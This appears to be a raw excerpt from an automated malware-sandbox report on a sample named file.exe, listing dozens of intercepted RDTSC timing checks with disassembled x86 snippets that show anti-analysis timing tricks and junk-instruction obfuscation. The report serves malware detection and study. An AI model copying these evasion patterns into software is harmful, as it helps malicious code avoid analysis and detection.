Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11867EF second address: 11867F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11869E2 second address: 1186A08 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4F78C44E36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186A08 second address: 1186A0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186BFF second address: 1186C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58002BE second address: 580036E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78FA0E06h 0x00000009 or si, BF48h 0x0000000e jmp 00007F4F78FA0DFBh 0x00000013 popfd 0x00000014 mov edx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F4F78FA0E02h 0x0000001f push eax 0x00000020 pushad 0x00000021 jmp 00007F4F78FA0E01h 0x00000026 push ecx 0x00000027 mov dx, DAA2h 0x0000002b pop edi 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F4F78FA0DFBh 0x00000037 adc ax, FF9Eh 0x0000003c jmp 00007F4F78FA0E09h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F4F78FA0E00h 0x00000048 xor eax, 58B4E998h 0x0000004e jmp 00007F4F78FA0DFBh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580036E second address: 5800381 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800381 second address: 5800385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800385 second address: 580039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820766 second address: 582077E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78FA0E04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582077E second address: 5820782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820782 second address: 58207AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop edx 0x0000000d popad 0x0000000e mov dl, 96h 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4F78FA0E06h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207AE second address: 58207BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207BD second address: 58207C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207C3 second address: 58207C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207C7 second address: 58207CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207CB second address: 5820862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4F78C44E2Dh 0x00000012 or cx, 7636h 0x00000017 jmp 00007F4F78C44E31h 0x0000001c popfd 0x0000001d mov cx, 9E27h 0x00000021 popad 0x00000022 nop 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F4F78C44E38h 0x0000002a add cx, 0488h 0x0000002f jmp 00007F4F78C44E2Bh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F4F78C44E38h 0x0000003b add cx, 66E8h 0x00000040 jmp 00007F4F78C44E2Bh 0x00000045 popfd 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov ebx, esi 0x0000004d movzx ecx, dx 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820862 second address: 5820868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820868 second address: 582086C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582086C second address: 5820870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820870 second address: 5820882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f mov bl, FAh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820882 second address: 5820888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820888 second address: 582088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208CD second address: 58208DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78FA0DFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208DD second address: 58208E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208E1 second address: 58208F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208F1 second address: 58208F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208F5 second address: 58208F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58208F9 second address: 58208FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820108 second address: 5820159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78FA0DFEh 0x00000009 xor ch, 00000048h 0x0000000c jmp 00007F4F78FA0DFBh 0x00000011 popfd 0x00000012 mov eax, 07A58EBFh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a add dword ptr [esp], 6BBAA701h 0x00000021 pushad 0x00000022 movzx esi, bx 0x00000025 jmp 00007F4F78FA0DFDh 0x0000002a popad 0x0000002b call 00007F4F78FA0DF9h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820159 second address: 582015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582015D second address: 5820161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820161 second address: 5820167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820167 second address: 5820198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F78FA0E00h 0x00000008 jmp 00007F4F78FA0E02h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820198 second address: 582020C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78C44E35h 0x00000009 add cx, 5DD6h 0x0000000e jmp 00007F4F78C44E31h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F4F78C44E30h 0x0000001a xor cx, DBF8h 0x0000001f jmp 00007F4F78C44E2Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c pushad 0x0000002d mov dl, 3Eh 0x0000002f jmp 00007F4F78C44E30h 0x00000034 popad 0x00000035 mov eax, dword ptr [eax] 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582020C second address: 58202EA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4F78FA0DFDh 0x00000008 sbb esi, 5F6A8B46h 0x0000000e jmp 00007F4F78FA0E01h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push esi 0x00000018 pop edi 0x00000019 mov bh, cl 0x0000001b popad 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jmp 00007F4F78FA0E04h 0x00000026 pop eax 0x00000027 jmp 00007F4F78FA0E00h 0x0000002c mov eax, dword ptr fs:[00000000h] 0x00000032 jmp 00007F4F78FA0E00h 0x00000037 nop 0x00000038 jmp 00007F4F78FA0E00h 0x0000003d push eax 0x0000003e pushad 0x0000003f mov ax, dx 0x00000042 pushfd 0x00000043 jmp 00007F4F78FA0DFDh 0x00000048 sbb esi, 4815F616h 0x0000004e jmp 00007F4F78FA0E01h 0x00000053 popfd 0x00000054 popad 0x00000055 nop 0x00000056 jmp 00007F4F78FA0DFEh 0x0000005b sub esp, 18h 0x0000005e jmp 00007F4F78FA0E00h 0x00000063 xchg eax, ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F4F78FA0DFAh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58202EA second address: 58202F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58202F0 second address: 58202F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58202F6 second address: 58202FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58202FA second address: 5820318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F78FA0E01h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820318 second address: 582032D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582032D second address: 5820361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 69C6B172h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4F78FA0E00h 0x00000017 and al, FFFFFF88h 0x0000001a jmp 00007F4F78FA0DFBh 0x0000001f popfd 0x00000020 mov ebx, esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820361 second address: 58203E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78C44E2Bh 0x00000009 adc eax, 055ED4CEh 0x0000000f jmp 00007F4F78C44E39h 0x00000014 popfd 0x00000015 mov eax, 6B81BED7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f jmp 00007F4F78C44E38h 0x00000024 push eax 0x00000025 pushfd 0x00000026 jmp 00007F4F78C44E31h 0x0000002b and cx, 7266h 0x00000030 jmp 00007F4F78C44E31h 0x00000035 popfd 0x00000036 pop esi 0x00000037 popad 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c mov ebx, eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203E4 second address: 58203E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203E8 second address: 5820437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov al, ABh 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e call 00007F4F78C44E36h 0x00000013 call 00007F4F78C44E32h 0x00000018 pop esi 0x00000019 pop edx 0x0000001a popad 0x0000001b xchg eax, edi 0x0000001c jmp 00007F4F78C44E2Eh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820437 second address: 582043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582043B second address: 582043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582043F second address: 5820445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820445 second address: 582044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582044A second address: 5820450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582057B second address: 5820585 instructions: 0x00000000 rdtsc 0x00000002 mov ch, ADh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov ecx, ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820585 second address: 58205A2 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000018h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4F78FA0DFEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58205A2 second address: 5820618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f pushad 0x00000010 mov di, si 0x00000013 movzx esi, di 0x00000016 popad 0x00000017 test ecx, ecx 0x00000019 pushad 0x0000001a mov ebx, 009C5CCCh 0x0000001f pushfd 0x00000020 jmp 00007F4F78C44E35h 0x00000025 xor esi, 6227C5A6h 0x0000002b jmp 00007F4F78C44E31h 0x00000030 popfd 0x00000031 popad 0x00000032 jns 00007F4F78C44E96h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F4F78C44E38h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820618 second address: 5820627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820627 second address: 582063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78C44E34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582063F second address: 5820643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820643 second address: 5820656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop edi 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820656 second address: 582065C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582065C second address: 5820660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820660 second address: 5820664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581020D second address: 5810222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, al 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 call 00007F4F78C44E2Bh 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810222 second address: 5810295 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, di 0x0000000d call 00007F4F78FA0DFDh 0x00000012 mov di, si 0x00000015 pop esi 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 movsx ebx, cx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f jmp 00007F4F78FA0E07h 0x00000024 sub esp, 2Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F4F78FA0DFBh 0x00000030 xor esi, 7A414DAEh 0x00000036 jmp 00007F4F78FA0E09h 0x0000003b popfd 0x0000003c push esi 0x0000003d pop edx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810295 second address: 581029B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581029B second address: 581029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581029F second address: 58102A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810413 second address: 5810496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov cx, 480Bh 0x00000010 call 00007F4F78FA0E00h 0x00000015 pushfd 0x00000016 jmp 00007F4F78FA0E02h 0x0000001b adc al, 00000048h 0x0000001e jmp 00007F4F78FA0DFBh 0x00000023 popfd 0x00000024 pop eax 0x00000025 popad 0x00000026 je 00007F4F78FA0FC2h 0x0000002c pushad 0x0000002d mov eax, edi 0x0000002f mov dh, 80h 0x00000031 popad 0x00000032 lea ecx, dword ptr [ebp-14h] 0x00000035 pushad 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 mov cx, 56C1h 0x0000003d popad 0x0000003e mov ax, 9DFDh 0x00000042 popad 0x00000043 mov dword ptr [ebp-14h], edi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F4F78FA0DFFh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810496 second address: 58104AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78C44E34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810552 second address: 5810558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810558 second address: 58105C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d jmp 00007F4F78C44E2Eh 0x00000012 jg 00007F4FE9EF2D37h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F4F78C44E2Eh 0x0000001f add si, 9C48h 0x00000024 jmp 00007F4F78C44E2Bh 0x00000029 popfd 0x0000002a mov si, 87BFh 0x0000002e popad 0x0000002f js 00007F4F78C44EB0h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F4F78C44E31h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58105C0 second address: 5810689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 7ACBC5F2h 0x00000008 movsx ebx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e cmp dword ptr [ebp-14h], edi 0x00000011 pushad 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 pushfd 0x00000016 jmp 00007F4F78FA0DFAh 0x0000001b and al, 00000008h 0x0000001e jmp 00007F4F78FA0DFBh 0x00000023 popfd 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007F4F78FA0E08h 0x0000002b add ax, 7368h 0x00000030 jmp 00007F4F78FA0DFBh 0x00000035 popfd 0x00000036 popad 0x00000037 jne 00007F4FEA24EC76h 0x0000003d jmp 00007F4F78FA0E06h 0x00000042 mov ebx, dword ptr [ebp+08h] 0x00000045 jmp 00007F4F78FA0E00h 0x0000004a lea eax, dword ptr [ebp-2Ch] 0x0000004d pushad 0x0000004e pushad 0x0000004f push ecx 0x00000050 pop edx 0x00000051 mov ax, 862Fh 0x00000055 popad 0x00000056 call 00007F4F78FA0E04h 0x0000005b pushad 0x0000005c popad 0x0000005d pop ecx 0x0000005e popad 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F4F78FA0E06h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810689 second address: 581068D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581068D second address: 5810693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810693 second address: 58106F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78C44E2Ch 0x00000009 sub ch, FFFFFFE8h 0x0000000c jmp 00007F4F78C44E2Bh 0x00000011 popfd 0x00000012 mov ecx, 4DA3BCDFh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dl, 2Bh 0x00000022 pushfd 0x00000023 jmp 00007F4F78C44E38h 0x00000028 jmp 00007F4F78C44E35h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58106F2 second address: 58106F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58106F8 second address: 58106FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58107BE second address: 58107C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58107C2 second address: 58107C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58107C8 second address: 58107D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78FA0DFDh 0x00000009 rdtsc
